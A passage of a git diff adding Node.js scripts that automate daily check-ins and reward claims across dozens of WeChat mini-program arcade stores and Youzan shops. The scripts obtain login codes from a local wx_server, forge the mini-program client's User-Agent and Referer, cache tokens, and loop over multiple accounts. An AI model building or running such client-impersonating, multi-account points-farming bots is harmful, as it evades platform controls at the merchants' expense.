${msgOf(res)}`); + return { failed: true, res }; + } + const d = res.data || {}; + if (needLog) { + const pt = await this.request(EP_POINT, { token: this.token }); + const point = isOk(pt) ? (pt.data && (pt.data.point ?? pt.data.total ?? pt.data.amount)) : undefined; + this.log(`签到状态: ${short(d, 100)}${point !== undefined ? `,积分 ${point}` : ""}`); + } + // 常见字段:todaySigned / signed / isSign + const signed = d.todaySigned === true || d.signed === true || d.isSign === true || Number(d.signStatus) === 1; + return { signed, data: d }; + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const s = await this.signStatus(false); + if (s !== null) { + this.log("使用缓存token"); + return s; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + return null; + } + + async sign(pre) { + if (pre === null || pre === undefined) pre = await this.signStatus(); + if (pre === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (pre.failed) { + this.log(`❌ 读取签到状态失败: ${msgOf(pre.res)}`); + return; + } + if (pre.signed) { + this.log("✅ 今日已签到"); + return; + } + const res = await this.request(EP_SIGN, { method: "POST", body: {}, token: this.token }); + if (isOk(res)) { + const d = res.data || {}; + const gain = d.point ?? d.score ?? d.addPoint; + this.log(`✅ 签到成功${gain !== undefined ? `,+${gain}` : ""}`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + const pre = await this.ensureLogin(); + await this.sign(pre); + } catch (e) { + if (String(e.message) === "NO_TOKEN") { + this.log("⚠️ 登录成功但服务端只发 registerKey 没发 access-token —— 该微信号还没在伊家乐享会注册会员,先在小程序里注册一次再跑"); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/ykb_all.js b/wxapp/ykb_all.js new file mode 100644 index 00000000..af257a56 --- /dev/null +++ b/wxapp/ykb_all.js @@ -0,0 +1,619 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.05 +@Description: ykb_huiyuan 小程序统一登录查询签到 +cron: 45 8 * * * +------------------------------------------ +变量名:ykb_all +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +也兼容原单脚本变量名:ykb、lqcwyl、ayldf 等 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("ykb_huiyuan统一签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const CK_NAME = "ykb_all"; +const API_BASE = "https://pw.gzych.vip"; +const TOKEN_CACHE_FILE = path.join(__dirname, "ykb_all_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + +const APPS = [ + { ck: "ayldf", name: "爱游乐东方", appid: "wxf133aa0a4f191ffc", templateVersion: "game_2.32.0" }, + { ck: "ayljz", name: "爱游乐胶州", appid: "wx52005ba8c71a756a", templateVersion: "game_2.32.0" }, + { ck: "aylpld", name: "爱游乐蓬莱店", appid: "wxb4afba83d5ceadae", templateVersion: "game_2.31.0" }, + { ck: "bbwjtqzylzx", name: "宝贝王家庭亲子娱乐中心", appid: "wx61935615c3edb2d0", templateVersion: "game_2.24.3" }, + { ck: "bbwcqncly", name: "宝贝王重庆南川乐园", appid: "wx8fef16e51ca130db", templateVersion: "game_2.15.1" }, + { ck: "bbwhhxp", name: "宝贝王怀化溆浦店", appid: "wxbb9a887cca8663c2", templateVersion: "game_2.30.4" }, + { ck: "cwkjjtyl", name: "超玩空间家庭娱乐", appid: "wx1c59744a3a6ffef8", templateVersion: "game_2.30.4" }, + { ck: "dewbl", name: "第e玩+宝龙店", appid: "wx88fd603ba1ae66a2", templateVersion: "game_2.33.7" }, + { ck: "dlbfhx", name: "大连缤纷幻想", appid: "wx78b4c1140cefdcb0", templateVersion: "game_2.30.1" }, + { ck: "ddmxly", name: "迪迪冒险乐园", appid: "wxcd4a69c8c70a5419", templateVersion: "game_2.15.1" }, + { ck: "ddmxlyjzd", name: "迪迪冒险乐园玖洲道店", appid: "wx70dceb5a4f6daa56", templateVersion: "game_2.15.1" }, + { ck: "dqjtyl", name: "豆趣家庭娱乐中心", appid: "wxc9a77835500632bc", templateVersion: "game_2.23.3" }, + { ck: "fcgxmcws", name: "防城港星梦潮玩社", appid: "wx6683f77a42e1595e", templateVersion: "game_2.30.4" }, + { ck: "fckwjnhdmly", name: "丰城市酷玩嘉年华动漫乐园", appid: "wxb8739c52e9702339", templateVersion: "game_2.20.6" }, + { ck: "fmwg", name: "飞马王国", appid: "wx9703d60d09a566e7", templateVersion: "game_2.15.1" }, + { ck: "fxjnh", name: "纷享X嘉年华", appid: "wxcdbcf18be89c4d47", templateVersion: "game_2.15.1" }, + { ck: "hblytx", name: "湖北乐游天下", appid: "wxf65bcc2eb8c4eeff", templateVersion: "game_2.16.1" }, + { ck: "hlsglc", name: "欢乐拾光乐昌店", appid: "wx5f972a9b4cd13634", templateVersion: "game_2.24.6" }, + { ck: "jddzdtw", name: "机动地带电玩城", appid: "wx0e5c8715d36d15e6", templateVersion: "game_2.30.4" }, + { ck: "jqdw", name: "鲸奇电玩中心", appid: "wxa6dc5cc49b137460", templateVersion: "game_2.30.1" }, + { ck: "jsdwj", name: "九顺大玩家", appid: "wxf99906d27f33fc1d", templateVersion: "game_2.30.2" }, + { ck: "kwkjshhqg", name: "酷玩空间上海环球港店", appid: "wxb08bbd1dd73a27ab", templateVersion: "game_2.32.0" }, + { ck: "kwkjshsjh", name: "酷玩空间上海世纪汇店", appid: "wxd1ca01877cfd33eb", templateVersion: "game_2.33.3" }, + { ck: "kwxqjbel", name: "酷玩猩球金宝二楼店", appid: "wx405ee9e38f6a2038", templateVersion: "game_2.30.2" }, + { ck: "kwxqjbsl", name: "酷玩猩球金宝三楼店", appid: "wxf79a0dc11791d955", templateVersion: "game_2.30.4" }, + { ck: "lmrjxdqxg", name: "蓝梦日记炫动柒栖谷店", appid: "wxa23df268c16943d7", templateVersion: "game_2.33.5" }, + { ck: "lqclnd", name: "乐其城柳南店", appid: "wx25a19136c041f337", templateVersion: "game_2.33.7" }, + { ck: "lqcwgcd", name: "乐其潮玩广场店", appid: "wx1f4ee737668cf5a1", templateVersion: "game_2.33.7" }, + { ck: "lqcwyl", name: "乐其潮玩玉林店", appid: "wxf0e4c545914bd807", templateVersion: "game_2.33.7" }, + { ck: "lzsczqcjl", name: "柳州市城中区超级乐", appid: "wxd4521567cc4b39c0", templateVersion: "game_2.33.7" }, + { ck: "mhdcwdw", name: "梦幻岛潮玩电玩", appid: "wx226c9fbd60679a74", templateVersion: "game_2.15.1" }, + { ck: "mhelhyzhd", name: "萌孩儿乐园海洋振华店", appid: "wx420705aa0369e3f9", templateVersion: "game_2.28.0" }, + { ck: "mqyyc", name: "米其游艺城", appid: "wx0ce00dae4a87ad54", templateVersion: "game_2.30.1" }, + { ck: "mcyxcw", name: "麻涌嬉游潮玩家庭娱乐中心", appid: "wx4d303dc69f029e4e", templateVersion: "game_2.30.2" }, + { ck: "mydyl", name: "梦游岛娱乐", appid: "wxb7ad7be346c73a5e", templateVersion: "game_2.30.4" }, + { ck: "phtkzcwy", name: "平湖天空之城吾悦", appid: "wx387274288d2dcbc2", templateVersion: "game_2.15.1" }, + { ck: "ppxjtczly", name: "派派星家庭成长乐园", appid: "wxce55874aeb73adc2", templateVersion: "game_2.30.4" }, + { ck: "qqyydmly", name: "奇奇游艺动漫乐园", appid: "wx17446921ce05b350", templateVersion: "game_2.24.5" }, + { ck: "qqyyly", name: "奇奇游艺乐园", appid: "wx1cb50cac06c8f487", templateVersion: "game_2.30.1" }, + { ck: "rdsgdlhq", name: "热带时光大沥黄岐店", appid: "wxb1993ab85850dc69", templateVersion: "game_2.30.4" }, + { ck: "rdsghp", name: "热带时光黄埔店", appid: "wxa5ad3ec98ea33db0", templateVersion: "game_2.30.1" }, + { ck: "rdsgsz", name: "热带时光家庭娱乐中心深圳店", appid: "wxc6b29b0eaf5331b8", templateVersion: "game_2.27.0" }, + { ck: "sgcwly", name: "拾光潮玩乐园", appid: "wxbffd1cdbe3f11d33", templateVersion: "game_2.23.3" }, + { ck: "sgsscw", name: "拾光松鼠潮玩店", appid: "wx2823161452551c9e", templateVersion: "game_2.29.3" }, + { ck: "tdxly", name: "泰迪熊乐园", appid: "wx5cfc933a4a2a93f4", templateVersion: "game_2.30.2" }, + { ck: "topwjycccpark", name: "TOP玩家 银川cc park店", appid: "wxc86c913d8d9a4ab4", templateVersion: "game_2.15.1" }, + { ck: "wjfb", name: "玩家风暴", appid: "wx27625bb2d9a8384e", templateVersion: "game_2.15.1" }, + { ck: "xjddw", name: "X机地电玩", appid: "wx1652d4e11cc0a1c2", templateVersion: "game_2.23.3" }, + { ck: "xcdwhtgcd", name: "猩潮电玩恒天广场店", appid: "wx2ad6d80d65b237af", templateVersion: "game_2.19.3" }, + { ck: "xnhhwdbbw", name: "西宁海湖万达宝贝王", appid: "wx7a3335dc207999f3", templateVersion: "game_2.27.0" }, + { ck: "xqlddylc", name: "享区乐到底游乐场", appid: "wx070d007b211099d9", templateVersion: "game_2.24.5" }, + { ck: "ybxwcw", name: "月伴星玩潮玩店", appid: "wxb5e0812b9a0ccc8c", templateVersion: "game_2.30.4" }, + { ck: "ykb", name: "太空橙电玩城", appid: "wxcd8a2d92245ee75b", templateVersion: "game_2.30.4" }, + { ck: "ylsyzqqjwlc", name: "玉林市玉州区奇迹未来城潮漫电玩", appid: "wx4e02b4d9520d6df1", templateVersion: "game_2.28.0" }, + { ck: "ylycmdwd", name: "壹零壹潮漫电玩店", appid: "wx49deb1f94bab5091", templateVersion: "game_2.30.4" }, + { ck: "yyhwqldcw", name: "酉阳红卫桥乐动潮玩", appid: "wx263d7c4bbca7feca", templateVersion: "game_2.30.2" }, + { ck: "zbbbwl", name: "重百宝贝王乐园", appid: "wx9dc5d73cb2d62bdc", templateVersion: "game_2.30.4" }, + { ck: "zjmxwt", name: "终极梦想沃特", appid: "wx733a59c79a4bb702", templateVersion: "game_2.31.0" }, +].map((app) => ({ + apiBase: process.env[`${app.ck}_api_base`] || API_BASE, + wechatVersion: process.env[`${app.ck}_wechat_version`] || "3.9.12", + mobilePlatform: process.env[`${app.ck}_mobile_platform`] || "windows", + ...app, + appid: process.env[`${app.ck}_appid`] || app.appid, + templateVersion: process.env[`${app.ck}_template_version`] || app.templateVersion, +})); + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function unique(items = []) { + return [...new Set(items.map((item) => String(item || "").trim()).filter(Boolean))]; +} + +function parseUnifiedEnv() { + const raw = process.env[CK_NAME] || ""; + const result = { global: [], byKey: {} }; + for (const item of splitAccounts(raw)) { + const idx = item.indexOf("="); + if (idx === -1) { + result.global.push(item); + continue; + } + const key = item.slice(0, idx).trim().toLowerCase(); + const value = item.slice(idx + 1).trim(); + if (!key || !value) continue; + result.byKey[key] = result.byKey[key] || []; + result.byKey[key].push(value); + } + result.global = unique(result.global); + return result; +} + +const unifiedEnv = parseUnifiedEnv(); + +function getAccounts(app) { + const keys = [app.ck, app.appid, app.name].map((item) => item.toLowerCase()); + const accounts = []; + if (unifiedEnv.global.length) accounts.push(...unifiedEnv.global); + for (const key of keys) accounts.push(...(unifiedEnv.byKey[key] || [])); + accounts.push(...splitAccounts(process.env[app.ck] || "")); + return unique(accounts); +} + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token).replace(/^Token\s+/i, ""); + return value ? `${value.slice(0, 4)}***${value.slice(-4)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function monthRange() { + const now = new Date(); + const firstDay = new Date(now.getFullYear(), now.getMonth(), 1).getTime(); + const nextMonth = new Date(now.getFullYear(), now.getMonth() + 1, 1).getTime(); + return { + BeginDate: firstDay - 15 * 24 * 60 * 60 * 1000, + EndDate: nextMonth - 1000 + 15 * 24 * 60 * 60 * 1000, + }; +} + +function normalizeStatus(status = "") { + const map = { + Completed: "Complete", + Failed: "Fail", + Going: "Going", + Complete: "Complete", + Fail: "Fail", + }; + return map[status] || status; +} + +function rewardText(rewards = []) { + if (!Array.isArray(rewards) || rewards.length === 0) return ""; + return rewards + .map((item) => { + const num = item.Num ?? item.Amount ?? ""; + const name = item.RewardName || item.Name || item.RewardAlias || item.RewardType || ""; + return `${num}${name}`.trim(); + }) + .filter(Boolean) + .join("、"); +} + +function firstValue(source = {}, keys = []) { + for (const key of keys) { + const value = source?.[key]; + if (value !== undefined && value !== null && value !== "") return value; + } + return 0; +} + +function isAuthError(e) { + return /token|登录|授权|非法请求|1500000004/i.test(String(e?.message || e || "")); +} + +class Task { + constructor(app, account, index) { + this.app = app; + this.index = index; + this.account = String(account || "").trim(); + this.token = ""; + this.openId = ""; + this.mallCode = ""; + this.h5Prefix = ""; + this.customerName = ""; + this.summary = { + appName: app.name, + account: this.account, + member: "未查询", + assets: "未查询", + sign: "未执行", + }; + this.wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: app.appid, + auth: process.env.wx_auth || "", + }); + } + + prefix() { + return `[${this.app.name}][账号${this.index}]`; + } + + log(message) { + $.log(`${this.prefix()} ${message}`); + } + + cacheKey() { + return `${this.app.appid}:${this.account}`; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + token: this.token, + openId: this.openId, + mallCode: this.mallCode, + h5Prefix: this.h5Prefix, + customerName: this.customerName, + appid: this.app.appid, + appName: this.app.name, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + delete cache[this.cacheKey()]; + writeTokenCache(cache); + this.token = ""; + } + + applyToken(data = {}) { + this.token = data.token || data.Token || ""; + this.openId = data.openId || data.OpenId || ""; + this.mallCode = data.mallCode || data.MallCode || ""; + this.h5Prefix = data.h5Prefix || data.RoterPrefix || ""; + this.customerName = data.customerName || data.CustomerName || ""; + } + + headers(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${this.app.appid}/1/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "content-type": "application/json", + ...extra, + }; + if (this.token) headers.Authorization = this.token; + return headers; + } + + async request({ method = "GET", apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${this.app.apiBase}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.headers(), + timeout: 20000, + validateStatus: () => true, + }; + if (skipToken) delete options.headers.Authorization; + if (method === "GET") options.params = params; + else options.data = data; + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + + const responseStatus = result && result.ResponseStatus; + if (responseStatus) { + const code = Number(responseStatus.ErrorCode); + if (code !== 0) { + const err = new Error(`${responseStatus.Message || JSON.stringify(result)}(${responseStatus.ErrorCode})`); + err.raw = result; + throw err; + } + return result.Data; + } + + if (typeof result?.code !== "undefined" && Number(result.code) !== 0 && Number(result.code) !== 200) { + throw new Error(result.msg || result.message || JSON.stringify(result)); + } + return result?.Data ?? result?.data ?? result; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + this.log(`使用缓存token ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + this.log("缓存token失效,重新登录"); + } + } + + if (!this.token) await this.login(); + if (!this.token) { + this.summary.sign = "登录失败"; + return this.summary; + } + + await this.getMemberInfo(); + const done = await this.tryMemberCheckIn(); + if (!done) await this.tryTaskSign(); + return this.summary; + } + + async checkToken() { + try { + await this.request({ apiPath: "/ykb_huiyuan/api/v1/MemberMine/Info" }); + return true; + } catch { + return false; + } + } + + async getLoginCode() { + if (!process.env.wx_auth) throw new Error("未配置 wx_auth,无法通过 wx_server 获取 code"); + // 本脚本一次会遍历几十家门店,每店取一次 code,很容易撞上 wx_server 的取码频率窗口。 + // 只在「服务端明确没给出 code」时退避重试,避免整轮门店从中途开始全军覆没。 + const waits = [0, 45000, 90000]; + let last = null; + for (let i = 0; i < waits.length; i++) { + if (waits[i]) { + this.log(`取code被限流,等待${waits[i] / 1000}秒后重试(${i}/${waits.length - 1})`); + await sleep(waits[i]); + } + const { data } = await this.wechat.getCode(this.account); + const code = data?.code || data?.data?.code; + if (code) return code; + last = data; + } + throw new Error(`wx_server 未返回 code: ${JSON.stringify(last)}`); + } + + async login() { + const loginApis = [ + "/ykb_huiyuan/api/v3/MembeGameLogin/appletLogin", + "/ykbmini/api/v1/HomeAny/appletLogin", + ]; + + for (const apiPath of loginApis) { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + method: "POST", + apiPath, + skipToken: true, + data: { + Code: code, + AppId: this.app.appid, + WechatVersion: this.app.wechatVersion, + MobilePlatform: this.app.mobilePlatform, + MallCode: this.mallCode || "", + TemplateVersion: this.app.templateVersion, + extra: { q: "" }, + }, + }); + this.applyToken(data); + if (!this.token) throw new Error(`登录响应无Token: ${JSON.stringify(data)}`); + this.saveCachedToken(); + this.log(`登录成功(${apiPath}): ${this.customerName || ""} openId=${this.openId || ""}`); + return; + } catch (e) { + this.log(`登录接口 ${apiPath} 失败: ${e.message || e}`); + } + } + } + + async getMemberInfo() { + try { + const data = await this.request({ apiPath: "/ykb_huiyuan/api/v1/MemberMine/Info" }); + const name = data?.Name || data?.NickName || this.customerName || "未知"; + const phone = data?.Phone ? ` ${maskPhone(data.Phone)}` : ""; + const assets = await this.getAssets(data); + this.summary.member = `${name}${phone}`; + this.summary.assets = `代币=${assets.coin} 金币=${assets.goldCoin} 积分=${assets.integral} 彩票=${assets.ticket} 优惠券=${assets.coupon}`; + this.log(`会员: ${this.summary.member} ${this.summary.assets}`); + } catch (e) { + this.summary.member = `查询失败: ${e.message || e}`; + this.log(`查询会员信息失败: ${e.message || e}`); + if (isAuthError(e)) this.removeCachedToken(); + } + } + + async getAssets(memberInfo = {}) { + const assets = { + coin: firstValue(memberInfo, ["MyScrip", "Coin", "CoinAmount", "Scrip", "Balance"]), + goldCoin: firstValue(memberInfo, ["GoldCoin", "GoldCoinAmount"]), + integral: firstValue(memberInfo, ["ARTotalIntegral", "Integral", "Exchange", "Points"]), + ticket: firstValue(memberInfo, ["Ticket", "TicketPackage", "TicketCount", "Lottery"]), + coupon: firstValue(memberInfo, ["Coupon", "CouponCount"]), + }; + + try { + const data = await this.request({ apiPath: "/ykb_huiyuan/api/v1/Member/GetMemberStoredValue" }); + const list = [ + ...(Array.isArray(data) ? data : []), + ...(Array.isArray(data?.List) ? data.List : []), + ...(Array.isArray(data?.Data) ? data.Data : []), + ...(Array.isArray(data?.LeaguerValues) ? data.LeaguerValues : []), + ...(Array.isArray(data?.Data?.LeaguerValues) ? data.Data.LeaguerValues : []), + ...(Array.isArray(data?.StoredValueList) ? data.StoredValueList : []), + ]; + const source = Array.isArray(data) ? {} : data || {}; + assets.coin = firstValue(source, ["BalanceNum", "MyScrip", "Coin", "CoinAmount", "Scrip", "Balance", "StoredCoin", "GameCoin"]); + assets.goldCoin = firstValue(source, ["GoldCoin", "GoldCoinAmount"]); + assets.integral = firstValue(source, ["ARTotalIntegral", "Integral", "Exchange", "Points", "Point"]); + assets.ticket = firstValue(source, ["Ticket", "TicketPackage", "TicketCount", "Lottery", "LotteryTicket"]); + assets.coupon = firstValue(source, ["Coupon", "CouponCount"]); + for (const item of list) { + const type = String(item.Equity || item.Type || item.StoredValueType || item.StoreCategory || item.Category || item.Name || item.Title || item.Key || ""); + const amount = firstValue(item, ["BalanceNum", "Balance", "AllAmount", "Amount", "Num", "Count", "Value", "Total", "Available", "StoredValue"]); + if (/GoldCoin|金币/i.test(type)) assets.goldCoin = amount; + else if (/Ticket|TicketPackage|彩票|票/i.test(type)) assets.ticket = amount; + else if (/Coupon|优惠券|券/i.test(type)) assets.coupon = amount; + else if (/Integral|Point|积分|Exchange/i.test(type)) assets.integral = amount; + else if (/Coin|代币|MyScrip|币/i.test(type)) assets.coin = amount; + } + } catch (e) { + this.log(`查询储值资产失败: ${e.message || e}`); + } + + return assets; + } + + async tryMemberCheckIn() { + try { + const detail = await this.request({ + apiPath: "/ykb_huiyuan/api/v1/MemberCheckIn/GetDetail", + params: monthRange(), + }); + const dailyReward = Array.isArray(detail?.RewardRules) + ? detail.RewardRules.find((item) => item.CycleType === "Daily") + : null; + const dailyText = dailyReward ? `${dailyReward.Amount}${dailyReward.RewardAlias || ""}` : "未知"; + this.log(`会员签到状态: 已连续${detail?.Days ?? 0}天 今日奖励=${dailyText}`); + + if (detail?.IsCheckIn) { + this.summary.sign = "今日已签到"; + this.log("今日已签到"); + return true; + } + + const result = await this.request({ + apiPath: "/ykb_huiyuan/api/v1/MemberCheckIn/Submit", + }); + const after = await this.request({ + apiPath: "/ykb_huiyuan/api/v1/MemberCheckIn/GetDetail", + params: monthRange(), + }); + this.summary.sign = `签到成功 signed=${!!after?.IsCheckIn}`; + this.log(`签到成功${result?.Message ? `: ${result.Message}` : ""} signed=${!!after?.IsCheckIn}`); + return true; + } catch (e) { + this.summary.sign = `会员签到失败: ${e.message || e}`; + this.log(`会员签到接口不可用,改用任务签到: ${e.message || e}`); + if (isAuthError(e)) this.removeCachedToken(); + return false; + } + } + + async getTaskList(taskType = "AllTask") { + const data = await this.request({ + apiPath: "/hdb/api/v1/ClientTask/GetTaskListFromYDG", + params: { TaskType: taskType }, + }); + return data?.List || data?.Data?.List || data?.list || []; + } + + isSignTask(task = {}) { + return /签到|每日|天天|登录|打卡|check.?in|sign/i.test( + [task.TaskName, task.Name, task.Remark, task.Title, task.TaskType, task.TypeName].filter(Boolean).join(" ") + ); + } + + async getTaskDetail(task) { + if (task.UserTaskID) { + return this.request({ + apiPath: "/hdb/api/v1/ClientTask/GetUserTaskDetail", + params: { UserTaskID: task.UserTaskID }, + }); + } + return this.request({ + apiPath: "/hdb/api/v1/ClientTask/GetTaskDetail", + params: { TaskID: task.TaskID }, + }); + } + + async receiveTask(taskDetail, sourceTask) { + const userTaskId = taskDetail?.UserTaskId || taskDetail?.UserTaskID || sourceTask?.UserTaskID || ""; + if (!userTaskId) throw new Error("缺少 UserTaskId"); + const data = await this.request({ + method: "POST", + apiPath: "/hdb/api/v1/ClientTask/ReceiveTaskRewards", + data: { UserTaskId: userTaskId }, + }); + const text = rewardText(data?.Rewards || data?.RewardList || []); + this.summary.sign = `任务奖励已领取${text ? `: ${text}` : ""}`; + this.log(`领取任务奖励成功${text ? `: ${text}` : ""}`); + } + + async handleTask(task) { + const name = task.TaskName || task.Name || task.TaskID || "未知任务"; + let detail = await this.getTaskDetail(task); + detail.Status = normalizeStatus(detail.Status); + this.log(`任务「${name}」状态=${detail.Status || "未知"}`); + + if (detail.Status === "Complete") { + if (detail.RewardReceiveStatus === "UnReceive") await this.receiveTask(detail, task); + else this.summary.sign = `任务已完成: ${name}`; + return; + } + + if (!task.TaskID) return; + const challenge = await this.request({ + method: "POST", + apiPath: "/hdb/api/v1/ClientTask/ReceiveTask", + data: { ID: task.TaskID }, + }); + const userTaskId = challenge?.UserTaskId || challenge?.UserTaskID; + if (userTaskId) { + detail = await this.getTaskDetail({ UserTaskID: userTaskId }); + detail.Status = normalizeStatus(detail.Status); + if (detail.Status === "Complete" && detail.RewardReceiveStatus === "UnReceive") { + await this.receiveTask(detail, { ...task, UserTaskID: userTaskId }); + } else { + this.summary.sign = `任务状态=${detail.Status || "未知"}`; + } + } + } + + async tryTaskSign() { + try { + const tasks = await this.getTaskList(); + const signTasks = tasks.filter((task) => this.isSignTask(task)); + if (!signTasks.length) { + this.summary.sign = "未找到签到/每日任务"; + this.log("未找到签到/每日任务"); + return; + } + for (const task of signTasks) await this.handleTask(task); + } catch (e) { + this.summary.sign = `任务签到失败: ${e.message || e}`; + this.log(`任务签到失败: ${e.message || e}`); + } + } +} + +!(async () => { + const plan = APPS.map((app) => ({ app, accounts: getAccounts(app) })).filter((item) => item.accounts.length); + const totalAccounts = plan.reduce((sum, item) => sum + item.accounts.length, 0); + $.log(`共找到${plan.length}个小程序,${totalAccounts}个执行账号`); + if (!plan.length) { + $.log(`未配置 ${CK_NAME} 或原单脚本变量`); + return; + } + + const summaries = []; + for (const { app, accounts } of plan) { + $.log(`\n========== ${app.name} (${app.ck}) ==========`); + let index = 1; + for (const account of accounts) { + summaries.push(await new Task(app, account, index++).run()); + } + } + + $.log("\n========== 执行汇总 =========="); + for (const item of summaries) { + $.log(`${item.appName}: ${item.member} ${item.assets} 签到=${item.sign}`); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/youzan.js b/wxapp/youzan.js new file mode 100644 index 00000000..f741d7c1 --- /dev/null +++ b/wxapp/youzan.js @@ -0,0 +1,264 @@ +/* +------------------------------------------ +@Description: 有赞店铺通用签到(临水玉泉 / TOI / 七点五 等有赞小程序共用) +cron: 15 8 * * * +------------------------------------------ +变量名:youzan +变量值:每行一个账号,格式 openid#appid#kdtId#checkinId[#备注] + - openid wx_server 里保存的账号标识 + - appid 小程序 appid + - kdtId 有赞店铺号(可留空,登录后会用服务端回显的 kdtId 兜底) + - checkinId 签到活动 id(在小程序「签到」页抓 checkinV2.json?checkinId= 得到) + 多账号/多店换行分隔。示例: + owXXXX#wx21293beab739d5c3#44353481#15129#临水玉泉 + owXXXX#wxbb5a91aacbab57f2#97827637#2163238#TOI + +依赖变量:wx_server_url(默认 http://192.168.31.196:8787)、wx_auth(必填) +------------------------------------------ +契约(有赞统一登录,所有店同构,只有 kdtId/checkinId 不同): + 登录 POST https://uic.youzan.com/passport/general/auth.json?kdt_id=&app_id= + body {appId, code, platformName:"weapp", clientBiz:"weapp_wsc", inWsc:true, kdtId, extraBizData:{...}} + -> code==0,data.accessToken / data.sessionId;data.kdtId 是真实店铺号 + access_token 之后作为查询参数 access_token= 带在每个 h5.youzan.com 请求上(不是 cookie) + 资料 GET https://h5.youzan.com/wscaccount/api/authorize/data.json -> code==0 表示会话有效 + 签到 GET https://h5.youzan.com/wscump/checkin/checkinV2.json?checkinId=&... + -> code==0 成功;已签到走 msg; + code==1000000002「userId must be >= 1」表示这个微信号还没在该店注册会员 + (有赞签到强依赖已注册会员,账号态问题,不是脚本缺陷) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("有赞通用签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "youzan"; +const UIC = "https://uic.youzan.com"; +const H5 = "https://h5.youzan.com"; +const WEAPP_VERSION = "2.233.4"; +const TOKEN_CACHE_FILE = path.join(__dirname, "youzan_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 " + + "Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: "", + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const parts = String(raw).split("#").map((s) => (s || "").trim()); + return { + openid: parts[0] || "", + appid: parts[1] || "", + kdtId: parts[2] || "", + checkinId: parts[3] || "", + remark: parts[4] || "", + }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => Number(res?.code) === 0; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isNotMember = (res) => + Number(res?.code) === 1000000002 || /userId must be|未注册|请先注册|注册会员|开通会员/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.cred = null; + } + + log(text) { + const tag = this.account.remark || this.account.appid || `账号${this.index}`; + $.log(`[${tag}] ${text}`); + } + + headers() { + return { + "Content-Type": "application/json", + 